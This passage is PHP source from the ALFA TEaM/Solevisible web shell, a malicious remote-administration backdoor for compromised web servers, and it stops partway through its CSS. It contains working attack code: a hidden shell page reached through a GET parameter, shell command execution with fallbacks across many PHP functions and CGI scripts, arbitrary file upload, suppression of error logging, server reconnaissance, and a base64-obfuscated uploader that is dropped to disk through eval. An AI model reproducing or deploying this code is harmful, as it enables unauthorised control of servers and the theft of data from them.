  691. alfaWriteTocgiapi($lang.".alfa",$source);
  692. }
  693. alfacgihtaccess('cgi', "alfacgiapi/");
  694. }else{
  695. $lang = $_COOKIE["alfacgiapi"];
  696. }
  697. $cgi_ext = ".alfa";
  698. if($lang=="aspx"){
  699. $cgi_ext = ".aspx";
  700. }
  701. $cgi_url = __ALFA_DATA_FOLDER__."/alfacgiapi/".$lang.$cgi_ext;
  702. $cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd);
  703. if($is_curl){
  704. $address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
  705. $post = new AlfaCURL();
  706. $data = $post->Send($address, "post", $cmd);
  707. }elseif($is_socket){
  708. $server = $_SERVER["SERVER_NAME"];
  709. $uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
  710. $data = _alfa_fsockopen($server,$uri,$cmd);
  711. }
  712. $out = "";
  713. if(strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]<pre>"+output+"</pre>') === false){
  714. if($set_cookie){
  715. __alfa_set_cookie("alfacgiapi", $lang);
  716. }
  717. if(@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)){
  718. $out = $res[1];
  719. }
  720. }elseif($lang=="perl"){
  721. return _alfa_cgicmd($cmd_pure,"py",$set_cookie);
  722. }elseif($lang=="py"){
  723. return _alfa_cgicmd($cmd_pure,"bash",$set_cookie);
  724. }elseif($lang=="bash" && $GLOBALS['sys']=="win"){
  725. return _alfa_cgicmd($cmd_pure,"aspx",$set_cookie);
  726. }else{
  727. if($set_cookie){
  728. __alfa_set_cookie("alfacgiapi_mode", "off");
  729. }
  730. }
  731. return trim($out);
  732. }else{
  733. return "";
  734. }
  735. }
  736. function alfaGetCwd(){
  737. if(function_exists("getcwd")){
  738. return @getcwd();
  739. }else{
  740. return dirname($_SERVER["SCRIPT_FILENAME"]);
  741. }
  742. }
  743. function alfaEx($in,$re=false,$cgi=true,$all=false){
  744. $data = _alfa_php_cmd($in,$re);
  745. if(empty($data)&&$cgi||$all){
  746. if($GLOBALS['sys']=='unix'){
  747. if(strlen(_alfa_php_cmd("whoami"))==0||$all){
  748. $cmd = _alfa_cgicmd($in);
  749. if(!empty($cmd)){
  750. return $cmd;
  751. }
  752. }
  753. }
  754. }
  755. return $data;
  756. }
  757. function _alfa_php_cmd($in,$re=false){
  758. $out='';
  759. try{
  760. if($re)$in=$in." 2>&1";
  761. if(function_exists('exec')){
  762. @exec($in,$out);
  763. $out = @join("\n",$out);
  764. }elseif(function_exists('passthru')) {
  765. ob_start();
  766. @passthru($in);
  767. $out = ob_get_clean();
  768. }elseif(function_exists('system')){
  769. ob_start();
  770. @system($in);
  771. $out = ob_get_clean();
  772. } elseif (function_exists('shell_exec')) {
  773. $out = shell_exec($in);
  774. }elseif(function_exists("popen")&&function_exists("pclose")){
  775. if(is_resource($f = @popen($in,"r"))){
  776. $out = "";
  777. while(!@feof($f))
  778. $out .= fread($f,1024);
  779. pclose($f);
  780. }
  781. }elseif(function_exists('proc_open')){
  782. $pipes = array();
  783. $process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
  784. $out=@stream_get_contents($pipes[1]);
  785. }elseif(class_exists('COM')){
  786. $alfaWs = new COM('WScript.shell');
  787. $exec = $alfaWs->exec('cmd.exe /c '.$_POST['alfa1']);
  788. $stdout = $exec->StdOut();
  789. $out=$stdout->ReadAll();
  790. }
  791. }catch(Exception $e){}
  792. return $out;
  793. }
  794. function _alfa_fsockopen($server,$uri,$post){
  795. $socket = @fsockopen($server, 80, $errno, $errstr, 15);
  796. if($socket){
  797. $http = "POST {$uri} HTTP/1.0\r\n";
  798. $http .= "Host: {$server}\r\n";
  799. $http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
  800. $http .= "Content-Type: application/x-www-form-urlencoded\r\n";
  801. $http .= "Content-length: " . strlen($post) . "\r\n";
  802. $http .= "Connection: close\r\n\r\n";
  803. $http .= $post . "\r\n\r\n";
  804. fwrite($socket, $http);
  805. $contents = "";
  806. while (!@feof($socket)) {
  807. $contents .= @fgets($socket, 4096);
  808. }
  809. list($header, $body) = explode("\r\n\r\n", $contents, 2);
  810. @fclose($socket);
  811. return $body;
  812. }else{
  813. return "";
  814. }
  815. }
  816. if(isset($_GET["solevisible"])){
  817. @error_reporting(E_ALL ^ E_NOTICE);
  818. echo '<html>';
  819. echo "<title>Solevisible Hidden Shell</title>";
  820. echo "<body bgcolor=#000000>";
  821. echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">'.(function_exists('php_uname')?php_uname():'???').'</font></b></big>';
  822. $safe_mode = @ini_get('safe_mode');
  823. if($safe_mode){$r = "<b style='color: red'>On</b>";}else{$r = "<b style='color: green'>Off</b>";}
  824. echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>" . PHP_OS . "</font><br>";
  825. echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER ['SERVER_SOFTWARE'] . "</font><br>";
  826. echo "PHP Version: <font color=white>" . PHP_VERSION . "</font><br />";
  827. echo "PWD:<font color=#FFFFFF> " . str_replace("\\","/",@alfaGetCwd()) . "/<br />";
  828. echo "<b style='color: #7CFC00'>Safe Mode : $r<br>";
  829. echo"<font color=#7CFC00>Disable functions : </font>";
  830. $disfun = @ini_get('disable_functions');
  831. if(empty($disfun)){$disfun = '<font color="green">NONE</font>';}
  832. echo"<font color=red>";
  833. echo "$disfun";
  834. echo"</font><br>";
  835. echo "<b style='color: #7CFC00'>Your Ip Address is : </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
  836. echo "<b style='color: #7CFC00'>Server Ip Address is : </font><font color=white>".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."</font><br><p>";
  837. echo '<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  838. echo 'CWD: <input type="text" name="cwd" value="'.str_replace("\\","/",@alfaGetCwd()).'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
  839. if(isset($_FILES['file'])){
  840. if(@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']).'/'.$_FILES['file']['name'])){echo '<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>'; }
  841. else{echo '<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>'; }
  842. }
  843. echo '<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>
  844. <hr><pre>';
  845. if(isset($_POST['command_solevisible'])){
  846. if(strtolower(substr(PHP_OS,0,3))=="win")$separator='&';else $separator=';';
  847. $solevisible = "cd '".addslashes(str_replace("\\","/",@alfaGetCwd()))."'".$separator."".__ZGVjb2Rlcg($_POST['command_solevisible']);
  848. echo alfaEx($solevisible);
  849. }
  850. echo'</pre>
  851. </body></html>';
  852. exit;}
  853. @error_reporting(E_ALL ^ E_NOTICE);
  854. @ini_set('error_log',NULL);
  855. @ini_set('log_errors',0);
  856. @ini_set('max_execution_time',0);
  857. @ini_set('magic_quotes_runtime', 0);
  858. @set_time_limit(0);
  859. if(function_exists('set_magic_quotes_runtime')){
  860. @set_magic_quotes_runtime(0);
  861. }
  862. foreach($_POST as $key => $value){
  863. if(is_array($_POST[$key])){
  864. $i=0;
  865. foreach($_POST[$key] as $f) {
  866. $f = trim(str_replace(' ', '+',$f));
  867. $_POST[$key][$i] = decrypt_post($f);
  868. $i++;
  869. }
  870. }else{
  871. $value = trim(str_replace(' ', '+',$value));
  872. $_POST[$key] = decrypt_post($value);
  873. }
  874. }
  875. $default_action = 'FilesMan2';//'FilesMan';
  876. $default_use_ajax = true;
  877. $default_charset = 'Windows-1251';
  878. if(strtolower(substr(PHP_OS,0,3))=="win")
  879. $GLOBALS['sys']='win';
  880. else
  881. $GLOBALS['sys']='unix';
  882. $GLOBALS['home_cwd'] = @alfaGetCwd();
  883. $GLOBALS["need_to_update_header"] = "false";
  884. $GLOBALS['glob_chdir_false'] = false;
  885. if(isset($_POST['c'])){
  886. if(!@chdir($_POST['c'])){
  887. $GLOBALS['glob_chdir_false'] = true;
  888. }
  889. }
  890. $GLOBALS['cwd'] = (isset($_POST['c']) && @is_dir($_POST['c']) ?$_POST['c']:@alfaGetCwd());
  891. if($GLOBALS['glob_chdir_false']){
  892. $GLOBALS['cwd'] = (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd());
  893. }
  894. if($GLOBALS['sys'] == 'win'){
  895. $GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
  896. $GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
  897. }
  898. if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/' )$GLOBALS['cwd'] .= '/';
  899. if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}
  900. if(!function_exists("mb_strlen")){
  901. function mb_strlen($str, $c=""){
  902. return strlen($str);
  903. }
  904. }
  905. if(!function_exists("mb_substr")){
  906. function mb_substr($str, $start, $end, $c=""){
  907. return substr($str, $start, $end);
  908. }
  909. }
  910. define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\\','/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false));
  911. function alfahead(){
  912. $GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
  913. $alfa_uploader = '$x = base64_decode("'.$GLOBALS['__ALFA_SHELL_CODE'].'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);';
  914. define("ALFA_UPLOADER", "eval(base64_decode('".__ZW5jb2Rlcg($alfa_uploader)."'))");
  915. if(!isset($_POST['ajax'])){
  916. function Alfa_GetDisable_Function(){
  917. $disfun = @ini_get('disable_functions');
  918. $afa = '<span class="header_show_all">All Functions Accessible</span>';
  919. if(empty($disfun))return($afa);
  920. $s = explode(',',$disfun);
  921. $s = array_unique($s);
  922. $i=0;
  923. $b=0;
  924. $func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');
  925. $black_list = array();
  926. $allow_list = array();
  927. foreach($s as $d){
  928. $d=trim($d);
  929. if(empty($d)||!is_callable($d))continue;
  930. if(!function_exists($d)){
  931. if(in_array($d,$func)){
  932. $dis .= $d." | ";$b++;
  933. $black_list[] = $d;
  934. }else{
  935. $allow_list[] = $d;
  936. }
  937. $i++;
  938. }
  939. }
  940. if($i==0)return($afa);
  941. if($i <= count($func)){
  942. $all = array_values(array_merge($black_list, $allow_list));
  943. return('<span class="disable_functions">'.implode(" | ", $all).'</span>');
  944. }
  945. return('<span class="disable_functions">'.$dis.'</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All ('.$i.')</span></a>');
  946. }
  947. function AlfaNum(){
  948. $args = func_get_args();
  949. $alfax = array();
  950. $find = array();
  951. for($i=1;$i<=10;$i++){
  952. $alfax[] = $i;
  953. }
  954. foreach($args as $arg){
  955. $find[] = $arg;
  956. }
  957. echo '<script>';
  958. foreach($alfax as $alfa){
  959. if(in_array($alfa,$find))
  960. continue;
  961. echo 'alfa'.$alfa."_=";
  962. }
  963. echo '""</script>';
  964. }
  965. if(empty($_POST['charset']))
  966. $_POST['charset'] = $GLOBALS['default_charset'];
  967. $freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?';
  968. $totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?';
  969. $totalSpace = $totalSpace?$totalSpace:1;
  970. $on="<span class='header_on'> ON </span>";
  971. $of="<span class='header_off'> OFF </span>";
  972. $none="<span class='header_none'> NONE </span>";
  973. if(function_exists('ssh2_connect'))
  974. $ssh2=$on;
  975. else
  976. $ssh2=$of;
  977. if(function_exists('curl_version'))
  978. $curl=$on;
  979. else
  980. $curl=$of;
  981. if(function_exists('mysql_get_client_info')||class_exists('mysqli'))
  982. $mysql=$on;
  983. else
  984. $mysql=$of;
  985. if(function_exists('mssql_connect'))
  986. $mssql=$on;
  987. else
  988. $mssql=$of;
  989. if(function_exists('pg_connect'))
  990. $pg=$on;
  991. else
  992. $pg=$of;
  993. if(function_exists('oci_connect'))
  994. $or=$on;
  995. else
  996. $or=$of;
  997. if(@ini_get('disable_functions'))
  998. $disfun=@ini_get('disable_functions');
  999. else
  1000. $disfun="All Functions Enable";
  1001. if(@ini_get('safe_mode'))
  1002. $safe_modes="<span class='header_off'>ON</span>";
  1003. else
  1004. $safe_modes="<span class='header_on'>OFF</span>";
  1005. $cgi_shell="<span class='header_off' id='header_cgishell'>OFF</span>";
  1006. if(@ini_get('open_basedir')){
  1007. $basedir_data = @ini_get('open_basedir');
  1008. if(strlen($basedir_data)>120){
  1009. $open_b=substr($basedir_data,0, 120)."...";
  1010. }else{
  1011. $open_b = $basedir_data;
  1012. }
  1013. }else{$open_b=$none;}
  1014. if(@ini_get('safe_mode_exec_dir'))
  1015. $safe_exe=@ini_get('safe_mode_exec_dir');
  1016. else
  1017. $safe_exe=$none;
  1018. if(@ini_get('safe_mode_include_dir'))
  1019. $safe_include=@ini_get('safe_mode_include_dir');
  1020. else
  1021. $safe_include=$none;
  1022. if(!function_exists('posix_getegid'))
  1023. {
  1024. $user = function_exists("get_current_user")?@get_current_user():"????";
  1025. $uid = function_exists("getmyuid")?@getmyuid():"????";
  1026. $gid = function_exists("getmygid")?@getmygid():"????";
  1027. $group = "?";
  1028. }else{
  1029. $uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");
  1030. $gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");
  1031. $user = $uid['name'];
  1032. $uid = $uid['uid'];
  1033. $group = $gid['name'];
  1034. $gid = $gid['gid'];
  1035. }
  1036. $cwd_links = '';
  1037. $path = explode("/", $GLOBALS['cwd']);
  1038. $n=count($path);
  1039. for($i=0; $i<$n-1; $i++) {
  1040. $cwd_links .= "<a class='header_pwd' onclick='g(\"FilesMan\",\"";
  1041. $cach_cwd_path = "";
  1042. for($j=0; $j<=$i; $j++){
  1043. $cwd_links .= $path[$j].'/';
  1044. $cach_cwd_path .= $path[$j].'/';
  1045. }
  1046. $cwd_links .= "\")' path='".$cach_cwd_path."' href='#action=fileman&path=".$cach_cwd_path."'>".$path[$i]."/</a>";
  1047. }
  1048. $drives = "";
  1049. foreach(range('a','z') as $drive)
  1050. if(@is_dir($drive.':\\'))
  1051. $drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  1052. $csscode =' -moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
  1053. echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  1054. <html xmlns="http://www.w3.org/1999/xhtml">
  1055. <head>
  1056. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  1057. <meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
  1058. <link href="'.__showicon('alfamini').'" rel="icon" type="image/x-icon"/>
  1059. <title>..:: '.$_SERVER['HTTP_HOST'].' ~ ALFA TEaM Shell - v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ::..</title>
  1060. <style type="text/css">';?>
  1061. .hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs 